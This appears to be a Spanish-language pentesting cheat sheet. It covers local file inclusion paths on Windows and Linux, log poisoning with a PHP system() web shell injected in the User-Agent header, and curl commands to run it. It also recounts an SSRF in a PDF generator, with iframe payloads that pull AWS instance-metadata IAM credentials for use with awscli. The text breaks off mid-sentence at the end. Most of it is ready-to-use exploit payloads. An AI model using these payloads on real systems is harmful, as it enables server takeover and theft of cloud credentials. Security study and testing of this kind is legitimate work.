http://mountaindesserts.com/meteor/index.php?page=C:\Windows\System32\drivers\etc\hosts
http://mountaindesserts.com/meteor/index.php?page=C:\inetpub\logs\LogFiles\W3SVC1\
http://mountaindesserts.com/meteor/index.php?page=C:\inetpub\wwwroot\web.config
http://mountaindesserts.com/meteor/index.php?page=C:\Users\install.txt
http://mountaindesserts.com/meteor/index.php?page=C:/xampp/apache/logs/access.log
Windows/win.ini
Try also to change / for \
Try also to remove C:/ and add ../../../../../
LFI: Podemos cargar y ejecutar archivos en el contexto del usuario el cual está corriendo el servidor.
LFI TO RCE via Log Poisoning
Esta técnica se centra en envenenar los logs con comandos para luego, al cargar dichos logs se interprete nuestro código y tengamos ejecución remota de comandos (RCE).
// Insertar en user agent: <?php echo system($_GET['cmd']); ?>
GET /meteor/index.php?page=admin.php HTTP/1.1
HOST: mountaindesserts.com
User-Agent: Mozilla/5.0 <?php echo system($_GET['cmd']); ?>
Accept: ….
Paso 2: Ejecutar el código con curl
curl http://mountaindesserts.com/meteor/index.php?page=../../../../../../../../../var/log/apache2/access.log&cmd=whoami
// en caso que se rompa la consulta con espacio usar %20 -> ls%20-la
La explotación de LFI en Windows sólo difiere de Linux en lo que respecta a las rutas de los archivos y la ejecución del código. El fragmento de código PHP que utilizamos en esta sección para Linux también funciona en Windows, ya que utilizamos la función del sistema PHP que es independiente del sistema operativo subyacente. Cuando utilizamos Log Poisoning en Windows, debemos entender que los archivos de registro se encuentran en rutas específicas de la aplicación. Por ejemplo, en un objetivo que ejecuta XAMPP , los registros de Apache se pueden encontrar en C:\xampp\apache\logs\ .
LFI To RCE - Abusing /proc/self/fd/X + Log Poisoning
A través de exiftool analizo el PDF que generaba la plataforma:
En la petición donde se generaba el pdf, viajaba un campo HTML, donde podíamos insertar código HTML.
Al descargar el archivo PDF generado vemos el iframe que realizó una solicitud a mi Burp Collaborator confirmando el SSRF:
Luego intentamos obtener información de la metadata de la instancia de AWS:
// Ruta para consultar la metadata de la instancia
http://169.254.169.254/latest/meta-data
// Payload completo
<iframe src=http://169.254.169.254/latest/meta-data/ width=500 height=500>
// Payload final
<iframe src=http://169.254.169.254/latest/meta-data/iam/security-credentials/{ROLE-NAME}
Por último, nos traemos la información necesaria para autenticarnos a AWS:
Finalmente nos autenticamos con awscli. El archivo de configuración se encuentra en `~/.aws/credentials` y debería tener el siguiente formato:
[default]
aws_access_key_id = YOUR_ACCESS_KEY_ID
aws_secret_access_key = YOUR_SECRET_ACCESS_KEY
aws_session_token = TOKEN # esta es la que agregaremos
Recordar que es una credencial temporal, y debemos agregar el token de sesión.
De aquí ya empieza la enumeración de AWS que ya es otra historia. Pero la cosa no termina aquí, esta librería también era vulnerable a LFI: